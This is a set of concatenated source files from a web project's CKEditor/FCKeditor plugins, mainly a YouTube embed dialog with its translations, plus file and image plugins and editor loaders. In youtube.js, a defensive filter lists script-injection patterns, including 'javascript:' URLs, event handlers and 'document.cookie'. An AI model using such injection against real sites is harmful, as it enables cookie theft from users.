var sFramesetRows = ( parseInt( oParams.firstframeh, 10 ) || '30') + ",*," + ( parseInt( oParams.thirdframeh, 10 ) || '150' ) + ',0' ;
document.getElementById( 'itFrameset' ).rows = sFramesetRows ;
// dynamic including init frames and crossdomain transport code
// from config sproxy_js_frameset url
var addScriptUrl = oParams.sproxy_js_frameset ;
doLoadScript( addScriptUrl ) ;
}
</script>
</head>
<frameset id="itFrameset" onload="tryLoad();" border="0" rows="30,*,*,0">
<frame scrolling="no" framespacing="0" frameborder="0" noresize="noresize" marginheight="0" marginwidth="2" src="" name="navbar"></frame>
<frame scrolling="auto" framespacing="0" frameborder="0" noresize="noresize" marginheight="0" marginwidth="0" src="" name="mid"></frame>
<frame scrolling="no" framespacing="0" frameborder="0" noresize="noresize" marginheight="1" marginwidth="1" src="" name="bot"></frame>
<frame scrolling="no" framespacing="0" frameborder="0" noresize="noresize" marginheight="1" marginwidth="1" src="" name="spellsuggestall"></frame>
</frameset>
</html>
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/plugins/wsc/dialogs/tmpFrameset.html | HTML | asf20 | 1,935 |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>YouTube Properties</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta content="noindex, nofollow" name="robots">
<script src="../../dialog/common/fck_dialog_common.js" type="text/javascript"></script>
<script src="youtube.js" type="text/javascript"></script>
<link href="../../dialog/common/fck_dialog_common.css" type="text/css" rel="stylesheet">
</head>
<body scroll="no" style="OVERFLOW: hidden">
<div id="divInfo">
<table cellSpacing="1" cellPadding="1" width="100%" border="0">
<tr>
<td>
<table cellSpacing="0" cellPadding="0" width="100%" border="0">
<tr>
<td width="100%"><span fckLang="DlgYouTubeURL">URL</span>
</td>
</tr>
<tr>
<td vAlign="top"><input id="txtUrl" style="WIDTH: 100%" type="text">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td>
<table cellSpacing="0" cellPadding="0" border="0">
<tr>
<td nowrap>
<span fckLang="DlgYouTubeWidth">Width</span><br>
<input id="txtWidth" onkeypress="return IsDigit(event);" type="text" size="3" value="425">
</td>
<td> </td>
<td>
<span fckLang="DlgYouTubeHeight">Height</span><br>
<input id="txtHeight" onkeypress="return IsDigit(event);" type="text" size="3" value="344">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td>
<fieldset>
<legend><span fckLang="DlgYouTubeQuality">Quality</span>:</legend>
<table cellSpacing="0" cellPadding="0" border="0">
<tr>
<td nowrap>
<input type="radio" id="radioLow" name="qlty" value="low" checked>
<span fckLang="DlgYouTubeLow">Low</span>
</td>
<td> </td>
<td>
<input type="radio" id="radioHigh" name="qlty" value="high">
<span fckLang="DlgYouTubeHigh">High (If available)</span>
</td>
</tr>
</table>
</fieldset>
</td>
</tr>
</table>
</div>
</body>
</html>
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/plugins/youtube/youtube.html | HTML | asf20 | 2,139 |
var dialog = window.parent ;
var oEditor = dialog.InnerDialogLoaded() ;
var FCK = oEditor.FCK ;
var FCKLang = oEditor.FCKLang ;
var FCKConfig = oEditor.FCKConfig ;
//security RegExp
var REG_SCRIPT = new RegExp("< *script.*>|< *style.*>|< *link.*>|< *body .*>", "i");
var REG_PROTOCOL = new RegExp("javascript:|vbscript:|about:", "i");
var REG_CALL_SCRIPT = new RegExp("&\{.*\};", "i");
var REG_EVENT = new RegExp("onError|onUnload|onBlur|onFocus|onClick|onMouseOver|onMouseOut|onSubmit|onReset|onChange|onSelect|onAbort", "i");
// Cookie Basic
var REG_AUTH = new RegExp("document\.cookie|Microsoft\.XMLHTTP", "i");
// TEXTAREA
var REG_NEWLINE = new RegExp("\x0d|\x0a", "i");
//#### Dialog Tabs
// Set the dialog tabs.
dialog.AddTab( 'Info', oEditor.FCKLang.DlgInfoTab ) ;
// Get the selected flash embed (if available).
var oFakeImage = FCK.Selection.GetSelectedElement() ;
var oEmbed ;
window.onload = function()
{
// Translate the dialog box texts.
oEditor.FCKLanguageManager.TranslatePage(document) ;
dialog.SetAutoSize( true ) ;
// Activate the "OK" button.
dialog.SetOkButton( true ) ;
SelectField( 'txtUrl' ) ;
}
//#### The OK button was hit.
function Ok()
{
if ( GetE('txtUrl').value.length == 0 )
{
dialog.SetSelectedTab( 'Info' ) ;
GetE('txtUrl').focus() ;
alert( oEditor.FCKLang.DlgYouTubeCode ) ;
return false ;
}
// check security
if (checkCode(GetE('txtUrl').value) == false) {
alert( oEditor.FCKLang.DlgYouTubeSecurity ) ;
return false;
}
oEditor.FCKUndo.SaveUndoStep() ;
if ( !oEmbed )
{
oEmbed = FCK.EditorDocument.createElement( 'EMBED' ) ;
oFakeImage = null ;
}
UpdateEmbed( oEmbed ) ;
if ( !oFakeImage )
{
oFakeImage = oEditor.FCKDocumentProcessor_CreateFakeImage( 'FCK__Flash', oEmbed ) ;
oFakeImage.setAttribute( '_fckflash', 'true', 0 ) ;
oFakeImage = FCK.InsertElement( oFakeImage ) ;
}
oEditor.FCKEmbedAndObjectProcessor.RefreshView( oFakeImage, oEmbed ) ;
return true ;
}
function UpdateEmbed( e )
{
var youtubeUrl = GetE('txtUrl').value;
var youtubeId = youtubeUrl.slice(youtubeUrl.search(/\?v=/i)+3);
SetAttribute( e, 'type' , 'application/x-shockwave-flash' ) ;
SetAttribute( e, 'pluginspage' , 'http://www.macromedia.com/go/getflashplayer' ) ;
if ( GetE('radioHigh').checked ) {
SetAttribute( e, 'src' , 'http://www.youtube.com/v/'+youtubeId+'%26hl=en%26fs=1%26rel=0%26ap=%2526fmt=18') ;
} else {
SetAttribute( e, 'src' , 'http://www.youtube.com/v/'+youtubeId+'%26hl=en%26fs=1%26rel=0') ;
}
SetAttribute( e, "width" , GetE('txtWidth').value == '' ? 425 : GetE('txtWidth').value ) ;
SetAttribute( e, "height" , GetE('txtHeight').value == '' ? 344 : GetE('txtHeight').value ) ;
}
function checkCode(code)
{
if (code.search(REG_SCRIPT) != -1) {
return false;
}
if (code.search(REG_PROTOCOL) != -1) {
return false;
}
if (code.search(REG_CALL_SCRIPT) != -1) {
return false;
}
if (code.search(REG_EVENT) != -1) {
return false;
}
if (code.search(REG_AUTH) != -1) {
return false;
}
if (code.search(REG_NEWLINE) != -1) {
return false;
}
} | 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/plugins/youtube/youtube.js | JavaScript | asf20 | 3,096 |
/*
* For FCKeditor 2.3
*
*
* File Name: ja.js
* English language file for the youtube plugin.
*
* File Authors:
* Uprush (uprushworld@yahoo.co.jp) 2007/10/30
*/
FCKLang['YouTubeTip'] = '插入YouTube網址' ;
FCKLang['DlgYouTubeTitle'] = 'YouTube內容' ;
FCKLang['DlgYouTubeCode'] = '"請插入/貼上YouTube影片連結網址"' ;
FCKLang['DlgYouTubeSecurity'] = '不合法的連結網址' ;
FCKLang['DlgYouTubeURL'] = '貼上YouTube連結網址' ;
FCKLang['DlgYouTubeWidth'] = '寬度' ;
FCKLang['DlgYouTubeHeight'] = '高度' ;
FCKLang['DlgYouTubeQuality'] = '影片品質' ;
FCKLang['DlgYouTubeLow'] = '低' ;
FCKLang['DlgYouTubeHigh'] = '高 (如果有提供)' ;
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/plugins/youtube/lang/zh.js | JavaScript | asf20 | 714 |
/*
* For FCKeditor 2.3
*
*
* File Name: pt.js
* Portuguese language file for the youtube plugin.
*
* File Authors:
* Ivo Emanuel Gonçalves (justivo (at) gmail.com) 2009/01/19
*/
FCKLang['YouTubeTip'] = 'Inserir/Editar YouTube' ;
FCKLang['DlgYouTubeTitle'] = 'Propriedade YouTube' ;
FCKLang['DlgYouTubeCode'] = '"Por favor insira o endereço do video YouTube."' ;
FCKLang['DlgYouTubeSecurity'] = 'Endereço inválido.' ;
FCKLang['DlgYouTubeURL'] = 'Endereço' ;
FCKLang['DlgYouTubeWidth'] = 'Largura' ;
FCKLang['DlgYouTubeHeight'] = 'Altura' ;
FCKLang['DlgYouTubeQuality'] = 'Qualidade' ;
FCKLang['DlgYouTubeLow'] = 'Baixa' ;
FCKLang['DlgYouTubeHigh'] = 'Alta (se disponível)' ;
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/plugins/youtube/lang/pt.js | JavaScript | asf20 | 723 |
/*
* For FCKeditor 2.3
*
*
* File Name: de.js
* German language file for the youtube plugin.
*
* File Authors:
* Miro Dietiker (miro.dietiker (at) md-systems.ch) 2009/07/06
*/
FCKLang['YouTubeTip'] = 'YouTube Einfügen/Bearbeiten' ;
FCKLang['DlgYouTubeTitle'] = 'YouTube Einstellung' ;
FCKLang['DlgYouTubeCode'] = '"Bitte die YouTube Video URLs einfügen."' ;
FCKLang['DlgYouTubeSecurity'] = 'Ungültige URL.' ;
FCKLang['DlgYouTubeURL'] = 'URL' ;
FCKLang['DlgYouTubeWidth'] = 'Breite' ;
FCKLang['DlgYouTubeHeight'] = 'Höhe' ;
FCKLang['DlgYouTubeQuality'] = 'Qualität' ;
FCKLang['DlgYouTubeLow'] = 'Niedrig' ;
FCKLang['DlgYouTubeHigh'] = 'Hoch (Wenn verfügbar)' ;
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/plugins/youtube/lang/de.js | JavaScript | asf20 | 709 |
/*
* For FCKeditor 2.3
*
*
* File Name: no.js
* Norwegian language file for the youtube plugin.
*
* File Authors:
* Odd-Henrik (odd at multicase.no) 2009/02/12
*/
FCKLang['YouTubeTip'] = 'Legg til/Rediger YouTube video' ;
FCKLang['DlgYouTubeTitle'] = 'YouTube video egenskaper' ;
FCKLang['DlgYouTubeCode'] = '"Skriv inn URLen til YouTube videoen."' ;
FCKLang['DlgYouTubeSecurity'] = 'Feil URL.' ;
FCKLang['DlgYouTubeURL'] = 'URL' ;
FCKLang['DlgYouTubeWidth'] = 'Bredde' ;
FCKLang['DlgYouTubeHeight'] = 'Høyde';
FCKLang['DlgYouTubeQuality'] = 'Kvalitet' ;
FCKLang['DlgYouTubeLow'] = 'Lav' ;
FCKLang['DlgYouTubeHigh'] = 'Høy (Hvis tilgjengelig)';
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/plugins/youtube/lang/no.js | JavaScript | asf20 | 704 |
/*
* For FCKeditor 2.6
*
*
* File Name: lt.js
* Lithuanian language file for the youtube plugin.
*
* File Authors:
* teibaz (tomas@1985.lt) 2009/01/26
*/
FCKLang['YouTubeTip'] = 'Įterpti/Koreguoti YouTube' ;
FCKLang['DlgYouTubeTitle'] = 'YouTube Nustatymai' ;
FCKLang['DlgYouTubeCode'] = '"Įveskite YouTube video URL adresą."' ;
FCKLang['DlgYouTubeSecurity'] = 'Nekorektiškas URL' ;
FCKLang['DlgYouTubeURL'] = 'URL' ;
FCKLang['DlgYouTubeWidth'] = 'Plotis' ;
FCKLang['DlgYouTubeHeight'] = 'Aukštis' ;
FCKLang['DlgYouTubeQuality'] = 'Kokybė' ;
FCKLang['DlgYouTubeLow'] = 'Žema' ;
FCKLang['DlgYouTubeHigh'] = 'Aukšta (jei įmanoma)' ;
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/plugins/youtube/lang/lt.js | JavaScript | asf20 | 683 |
/*
* For FCKeditor 2.3
*
*
* File Name: it.js
* Italian language file for the youtube plugin.
*
* File Authors:
* Fabrizio Balliano (fabrizio.balliano@crealabs.it) 2008/01/29
*/
FCKLang['YouTubeTip'] = 'Inserisci un video di YouTube' ;
FCKLang['DlgYouTubeTitle'] = 'Proprietà video YouTube' ;
FCKLang['DlgYouTubeCode'] = '"Digita l\'URL del video YouTube."' ;
FCKLang['DlgYouTubeSecurity'] = 'Invalid URL.' ;
FCKLang['DlgYouTubeURL'] = 'URL' ;
FCKLang['DlgYouTubeWidth'] = 'Larghezza' ;
FCKLang['DlgYouTubeHeight'] = 'Altezza' ;
FCKLang['DlgYouTubeQuality'] = 'Qualità' ;
FCKLang['DlgYouTubeLow'] = 'Bassa' ;
FCKLang['DlgYouTubeHigh'] = 'Alta (se disponibile)' ;
FCKLang['DlgInfoTab'] = 'Informazioni' ;
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/plugins/youtube/lang/it.js | JavaScript | asf20 | 751 |
/*
* For FCKeditor 2.3
*
*
* File Name: zh-cn.js
* Chinese(simplify) language file for the youtube plugin.
*
* File Authors:
* Uprush (uprushworld@yahoo.co.jp) 2008/03/22
*/
FCKLang['YouTubeTip'] = 'YouTube插入/编辑' ;
FCKLang['DlgYouTubeTitle'] = 'YouTube属性' ;
FCKLang['DlgYouTubeCode'] = '请插入 YouTube 动画的URL。' ;
FCKLang['DlgYouTubeSecurity'] = '不正确的URL。' ;
FCKLang['DlgYouTubeURL'] = 'URL' ;
FCKLang['DlgYouTubeWidth'] = '宽' ;
FCKLang['DlgYouTubeHeight'] = '高' ;
FCKLang['DlgYouTubeQuality'] = '画质' ;
FCKLang['DlgYouTubeLow'] = '低' ;
FCKLang['DlgYouTubeHigh'] = '高 (如果可能)' ;
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/plugins/youtube/lang/zh-cn.js | JavaScript | asf20 | 672 |
/*
* For FCKeditor 2.3
*
*
* File Name: ja.js
* Japanese language file for the youtube plugin.
*
* File Authors:
* Uprush (uprushworld@yahoo.co.jp) 2007/10/30
*/
FCKLang['YouTubeTip'] = 'YouTube挿入/編集' ;
FCKLang['DlgYouTubeTitle'] = 'YouTubeプロパティ' ;
FCKLang['DlgYouTubeCode'] = 'URLを挿入してください。' ;
FCKLang['DlgYouTubeSecurity'] = 'URLが正しくありません。' ;
FCKLang['DlgYouTubeURL'] = 'URL' ;
FCKLang['DlgYouTubeWidth'] = '幅' ;
FCKLang['DlgYouTubeHeight'] = '縦' ;
FCKLang['DlgYouTubeQuality'] = '画質' ;
FCKLang['DlgYouTubeLow'] = '低' ;
FCKLang['DlgYouTubeHigh'] = '高(可能であれば)' ;
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/plugins/youtube/lang/ja.js | JavaScript | asf20 | 696 |
/*
* For FCKeditor 2.3
*
*
* File Name: en.js
* English language file for the youtube plugin.
*
* File Authors:
* Uprush (uprushworld@yahoo.co.jp) 2007/10/30
*/
FCKLang['YouTubeTip'] = 'Insert/Edit YouTube' ;
FCKLang['DlgYouTubeTitle'] = 'YouTube Property' ;
FCKLang['DlgYouTubeCode'] = '"Please insert the URL of YouTube videos."' ;
FCKLang['DlgYouTubeSecurity'] = 'Invalid URL.' ;
FCKLang['DlgYouTubeURL'] = 'URL' ;
FCKLang['DlgYouTubeWidth'] = 'Width' ;
FCKLang['DlgYouTubeHeight'] = 'Height' ;
FCKLang['DlgYouTubeQuality'] = 'Quality' ;
FCKLang['DlgYouTubeLow'] = 'Low' ;
FCKLang['DlgYouTubeHigh'] = 'High (If available)' ;
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/plugins/youtube/lang/en.js | JavaScript | asf20 | 671 |
// Register the related commands.
FCKCommands.RegisterCommand( 'YouTube', new FCKDialogCommand( FCKLang['DlgYouTubeTitle'], FCKLang['DlgYouTubeTitle'], FCKConfig.PluginsPath + 'youtube/youtube.html', 450, 350 ) ) ;
// Create the "YouTube" toolbar button.
var oFindItem = new FCKToolbarButton( 'YouTube', FCKLang['YouTubeTip'] ) ;
oFindItem.IconPath = FCKConfig.PluginsPath + 'youtube/youtube.gif' ;
FCKToolbarItems.RegisterItem( 'YouTube', oFindItem ) ; // 'YouTube' is the name used in the Toolbar config.
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/plugins/youtube/fckplugin.js | JavaScript | asf20 | 512 |
CKEDITOR.plugins.add('pyroimages',
{
requires: ['iframedialog'],
init : function(editor)
{
CKEDITOR.dialog.addIframe('pyroimage_dialog', 'Image', BASE_URI + 'mod_file_manager/image_manager_editor/index',800,400)
editor.addCommand('pyroimages', {exec:pyroimage_onclick});
editor.ui.addButton('pyroimages',{ label:'Upload or insert images from library', command:'pyroimages', icon:this.path+'images/icon.png' });
editor.on('selectionChange', function(evt)
{
/*
* Despite our initial hope, document.queryCommandEnabled() does not work
* for this in Firefox. So we must detect the state by element paths.
*/
var command = editor.getCommand('pyroimages'),
element = evt.data.path.lastElement.getAscendant('img', true);
// If nothing or a valid document
if ( ! element || (element.getName() == 'img' && element.hasClass('pyro-image')))
{
command.setState(CKEDITOR.TRISTATE_OFF);
}
else
{
command.setState(CKEDITOR.TRISTATE_DISABLED);
}
});
}
});
function pyroimage_onclick(e)
{
update_instance();
// run when pyro button is clicked]
CKEDITOR.currentInstance.openDialog('pyroimage_dialog')
} | 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/plugins/pyroimages/plugin.js | JavaScript | asf20 | 1,231 |
/*
Copyright (c) 2003-2010, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.add('uicolor',{requires:['dialog'],lang:['en'],init:function(a){if(CKEDITOR.env.ie6Compat)return;a.addCommand('uicolor',new CKEDITOR.dialogCommand('uicolor'));a.ui.addButton('UIColor',{label:a.lang.uicolor.title,command:'uicolor',icon:this.path+'uicolor.gif'});CKEDITOR.dialog.add('uicolor',this.path+'dialogs/uicolor.js');CKEDITOR.scriptLoader.load(CKEDITOR.getUrl('plugins/uicolor/yui/yui.js'));a.element.getDocument().appendStyleSheet(CKEDITOR.getUrl('plugins/uicolor/yui/assets/yui.css'));}});
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/plugins/uicolor/plugin.js | JavaScript | asf20 | 664 |
/*
Copyright (c) 2003-2010, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang('uicolor','en',{uicolor:{title:'UI Color Picker',preview:'Live preview',config:'Paste this string into your config.js file',predefined:'Predefined color sets'}});
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/plugins/uicolor/lang/en.js | JavaScript | asf20 | 337 |
/*
Copyright (c) 2003-2010, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/plugins/dialog/dialogDefinition.js | JavaScript | asf20 | 148 |
CKEDITOR.plugins.add('pyrofiles',
{
init : function(editor)
{
// Add the link and unlink buttons.
CKEDITOR.dialog.addIframe('pyrofiles_dialog', 'Files', BASE_URI + 'index.php/admin/wysiwyg/files',700,400);
editor.addCommand('pyrofiles', {exec:pyrofiles_onclick} );
editor.ui.addButton('pyrofiles',{ label:'Upload or insert files from library.', command:'pyrofiles', icon:this.path+'images/icon.png' });
// Register selection change handler for the unlink button.
editor.on( 'selectionChange', function( evt )
{
/*
* Despite our initial hope, files.queryCommandEnabled() does not work
* for this in Firefox. So we must detect the state by element paths.
*/
var command = editor.getCommand( 'pyrofiles' ),
element = evt.data.path.lastElement.getAscendant( 'a', true );
// If nothing or a valid files
if ( ! element || (element.getName() == 'a' && ! element.hasClass('pyro-files')))
{
command.setState(CKEDITOR.TRISTATE_OFF);
}
else
{
command.setState(CKEDITOR.TRISTATE_DISABLED);
}
});
}
} );
function pyrofiles_onclick(e)
{
update_instance();
// run when pyro button is clicked]
CKEDITOR.currentInstance.openDialog('pyrofiles_dialog')
} | 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/plugins/pyrofiles/plugin.js | JavaScript | asf20 | 1,219 |
/*
Copyright (c) 2003-2010, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.editorConfig = function( config )
{
// Define changes to default configuration here. For example:
// config.language = 'fr';
// config.uiColor = '#AADC6E';
};
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/config.js | JavaScript | asf20 | 320 |
/*
Copyright (c) 2003-2010, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
// Compressed version of core/ckeditor_base.js. See original for instructions.
/*jsl:ignore*/
if(!window.CKEDITOR)window.CKEDITOR=(function(){var a={timestamp:'',version:'3.4',revision:'5825',_:{},status:'unloaded',basePath:(function(){var d=window.CKEDITOR_BASEPATH||'';if(!d){var e=document.getElementsByTagName('script');for(var f=0;f<e.length;f++){var g=e[f].src.match(/(^|.*[\\\/])ckeditor(?:_basic)?(?:_source)?.js(?:\?.*)?$/i);if(g){d=g[1];break;}}}if(d.indexOf('://')==-1)if(d.indexOf('/')===0)d=location.href.match(/^.*?:\/\/[^\/]*/)[0]+d;else d=location.href.match(/^[^\?]*\/(?:)/)[0]+d;return d;})(),getUrl:function(d){if(d.indexOf('://')==-1&&d.indexOf('/')!==0)d=this.basePath+d;if(this.timestamp&&d.charAt(d.length-1)!='/')d+=(d.indexOf('?')>=0?'&':'?')+('t=')+this.timestamp;return d;}},b=window.CKEDITOR_GETURL;if(b){var c=a.getUrl;a.getUrl=function(d){return b.call(a,d)||c.call(a,d);};}return a;})();
/*jsl:end*/
// Uncomment the following line to have a new timestamp generated for each
// request, having clear cache load of the editor code.
// CKEDITOR.timestamp = ( new Date() ).valueOf();
if ( CKEDITOR.loader )
CKEDITOR.loader.load( 'core/ckeditor' );
else
{
// Set the script name to be loaded by the loader.
CKEDITOR._autoLoad = 'core/ckeditor';
// Include the loader script.
document.write(
'<script type="text/javascript" src="' + CKEDITOR.getUrl( '_source/core/loader.js' ) + '"></script>' );
}
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/ckeditor_source.js | JavaScript | asf20 | 1,583 |
/*
Copyright (c) 2003-2010, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
// Compressed version of core/ckeditor_base.js. See original for instructions.
/*jsl:ignore*/
if(!window.CKEDITOR)window.CKEDITOR=(function(){var a={timestamp:'',version:'3.4',revision:'5825',_:{},status:'unloaded',basePath:(function(){var d=window.CKEDITOR_BASEPATH||'';if(!d){var e=document.getElementsByTagName('script');for(var f=0;f<e.length;f++){var g=e[f].src.match(/(^|.*[\\\/])ckeditor(?:_basic)?(?:_source)?.js(?:\?.*)?$/i);if(g){d=g[1];break;}}}if(d.indexOf('://')==-1)if(d.indexOf('/')===0)d=location.href.match(/^.*?:\/\/[^\/]*/)[0]+d;else d=location.href.match(/^[^\?]*\/(?:)/)[0]+d;return d;})(),getUrl:function(d){if(d.indexOf('://')==-1&&d.indexOf('/')!==0)d=this.basePath+d;if(this.timestamp&&d.charAt(d.length-1)!='/')d+=(d.indexOf('?')>=0?'&':'?')+('t=')+this.timestamp;return d;}},b=window.CKEDITOR_GETURL;if(b){var c=a.getUrl;a.getUrl=function(d){return b.call(a,d)||c.call(a,d);};}return a;})();
/*jsl:end*/
// Uncomment the following line to have a new timestamp generated for each
// request, having clear cache load of the editor code.
// CKEDITOR.timestamp = ( new Date() ).valueOf();
// Set the script name to be loaded by the loader.
CKEDITOR._autoLoad = 'core/ckeditor_basic';
// Include the loader script.
document.write(
'<script type="text/javascript" src="' + CKEDITOR.getUrl( '_source/core/loader.js' ) + '"></script>' );
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/ckeditor_basic_source.js | JavaScript | asf20 | 1,510 |
/*
Copyright (c) 2003-2010, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
/**
* @fileOverview Defines the {@link CKEDITOR.lang} object, for the
* Dutch language.
*/
/**#@+
@type String
@example
*/
/**
* Constains the dictionary of language entries.
* @namespace
*/
CKEDITOR.lang['nl'] =
{
/**
* The language reading direction. Possible values are "rtl" for
* Right-To-Left languages (like Arabic) and "ltr" for Left-To-Right
* languages (like English).
* @default 'ltr'
*/
dir : 'ltr',
/*
* Screenreader titles. Please note that screenreaders are not always capable
* of reading non-English words. So be careful while translating it.
*/
editorTitle : 'Tekstverwerker, %1, druk op ALT 0 voor hulp.',
// ARIA descriptions.
toolbar : 'Werkbalk',
editor : 'Tekstverwerker',
// Toolbar buttons without dialogs.
source : 'Code',
newPage : 'Nieuwe pagina',
save : 'Opslaan',
preview : 'Voorbeeld',
cut : 'Knippen',
copy : 'Kopiëren',
paste : 'Plakken',
print : 'Printen',
underline : 'Onderstreept',
bold : 'Vet',
italic : 'Schuingedrukt',
selectAll : 'Alles selecteren',
removeFormat : 'Opmaak verwijderen',
strike : 'Doorhalen',
subscript : 'Subscript',
superscript : 'Superscript',
horizontalrule : 'Horizontale lijn invoegen',
pagebreak : 'Pagina-einde invoegen',
unlink : 'Link verwijderen',
undo : 'Ongedaan maken',
redo : 'Opnieuw uitvoeren',
// Common messages and labels.
common :
{
browseServer : 'Bladeren op server',
url : 'URL',
protocol : 'Protocol',
upload : 'Upload',
uploadSubmit : 'Naar server verzenden',
image : 'Afbeelding',
flash : 'Flash',
form : 'Formulier',
checkbox : 'Aanvinkvakje',
radio : 'Selectievakje',
textField : 'Tekstveld',
textarea : 'Tekstvak',
hiddenField : 'Verborgen veld',
button : 'Knop',
select : 'Selectieveld',
imageButton : 'Afbeeldingsknop',
notSet : '<niet ingevuld>',
id : 'Kenmerk',
name : 'Naam',
langDir : 'Schrijfrichting',
langDirLtr : 'Links naar rechts (LTR)',
langDirRtl : 'Rechts naar links (RTL)',
langCode : 'Taalcode',
longDescr : 'Lange URL-omschrijving',
cssClass : 'Stylesheet-klassen',
advisoryTitle : 'Aanbevolen titel',
cssStyle : 'Stijl',
ok : 'OK',
cancel : 'Annuleren',
close : 'Sluiten',
preview : 'Voorbeeld',
generalTab : 'Algemeen',
advancedTab : 'Geavanceerd',
validateNumberFailed : 'Deze waarde is geen geldig getal.',
confirmNewPage : 'Alle aangebrachte wijzigingen gaan verloren. Weet u zeker dat u een nieuwe pagina wilt openen?',
confirmCancel : 'Enkele opties zijn gewijzigd. Weet u zeker dat u dit dialoogvenster wilt sluiten?',
options : 'Opties',
target : 'Doel',
targetNew : 'Nieuw venster (_blank)',
targetTop : 'Hele venster (_top)',
targetSelf : 'Zelfde venster (_self)',
targetParent : 'Origineel venster (_parent)',
langDirLTR : 'Links naar rechts (LTR)',
langDirRTL : 'Rechts naar links (RTL)',
styles : 'Stijlen',
cssClasses : 'Stylesheet klassen',
// Put the voice-only part of the label in the span.
unavailable : '%1<span class="cke_accessibility">, niet beschikbaar</span>'
},
contextmenu :
{
options : 'Context menu opties'
},
// Special char dialog.
specialChar :
{
toolbar : 'Speciaal teken invoegen',
title : 'Selecteer speciaal teken',
options : 'Speciale tekens opties'
},
// Link dialog.
link :
{
toolbar : 'Link invoegen/wijzigen',
other : '<ander>',
menu : 'Link wijzigen',
title : 'Link',
info : 'Linkomschrijving',
target : 'Doel',
upload : 'Upload',
advanced : 'Geavanceerd',
type : 'Linktype',
toUrl : 'URL',
toAnchor : 'Interne link in pagina',
toEmail : 'E-mail',
targetFrame : '<frame>',
targetPopup : '<popup window>',
targetFrameName : 'Naam doelframe',
targetPopupName : 'Naam popupvenster',
popupFeatures : 'Instellingen popupvenster',
popupResizable : 'Herschaalbaar',
popupStatusBar : 'Statusbalk',
popupLocationBar: 'Locatiemenu',
popupToolbar : 'Menubalk',
popupMenuBar : 'Menubalk',
popupFullScreen : 'Volledig scherm (IE)',
popupScrollBars : 'Schuifbalken',
popupDependent : 'Afhankelijk (Netscape)',
popupWidth : 'Breedte',
popupLeft : 'Positie links',
popupHeight : 'Hoogte',
popupTop : 'Positie boven',
id : 'Id',
langDir : 'Schrijfrichting',
langDirLTR : 'Links naar rechts (LTR)',
langDirRTL : 'Rechts naar links (RTL)',
acccessKey : 'Toegangstoets',
name : 'Naam',
langCode : 'Schrijfrichting',
tabIndex : 'Tabvolgorde',
advisoryTitle : 'Aanbevolen titel',
advisoryContentType : 'Aanbevolen content-type',
cssClasses : 'Stylesheet-klassen',
charset : 'Karakterset van gelinkte bron',
styles : 'Stijl',
selectAnchor : 'Kies een interne link',
anchorName : 'Op naam interne link',
anchorId : 'Op kenmerk interne link',
emailAddress : 'E-mailadres',
emailSubject : 'Onderwerp bericht',
emailBody : 'Inhoud bericht',
noAnchors : '(Geen interne links in document gevonden)',
noUrl : 'Geef de link van de URL',
noEmail : 'Geef een e-mailadres'
},
// Anchor dialog
anchor :
{
toolbar : 'Interne link',
menu : 'Eigenschappen interne link',
title : 'Eigenschappen interne link',
name : 'Naam interne link',
errorName : 'Geef de naam van de interne link op'
},
// List style dialog
list:
{
numberedTitle : 'Eigenschappen genummerde lijst',
bulletedTitle : 'Eigenschappen lijst met opsommingstekens',
type : 'Type',
start : 'Start',
validateStartNumber :'Starnummer van de lijst moet een heel nummer zijn.',
circle : 'Cirkel',
disc : 'Schijf',
square : 'Vierkant',
none : 'Geen',
notset : '<niet gezet>',
armenian : 'Armeense numering',
georgian : 'Greorgische numering (an, ban, gan, etc.)',
lowerRoman : 'Romeins kleine letters (i, ii, iii, iv, v, etc.)',
upperRoman : 'Romeins hoofdletters (I, II, III, IV, V, etc.)',
lowerAlpha : 'Kleine letters (a, b, c, d, e, etc.)',
upperAlpha : 'Hoofdletters (A, B, C, D, E, etc.)',
lowerGreek : 'Grieks kleine letters (alpha, beta, gamma, etc.)',
decimal : 'Cijfers (1, 2, 3, etc.)',
decimalLeadingZero : 'Cijfers beginnen met nul (01, 02, 03, etc.)'
},
// Find And Replace Dialog
findAndReplace :
{
title : 'Zoeken en vervangen',
find : 'Zoeken',
replace : 'Vervangen',
findWhat : 'Zoeken naar:',
replaceWith : 'Vervangen met:',
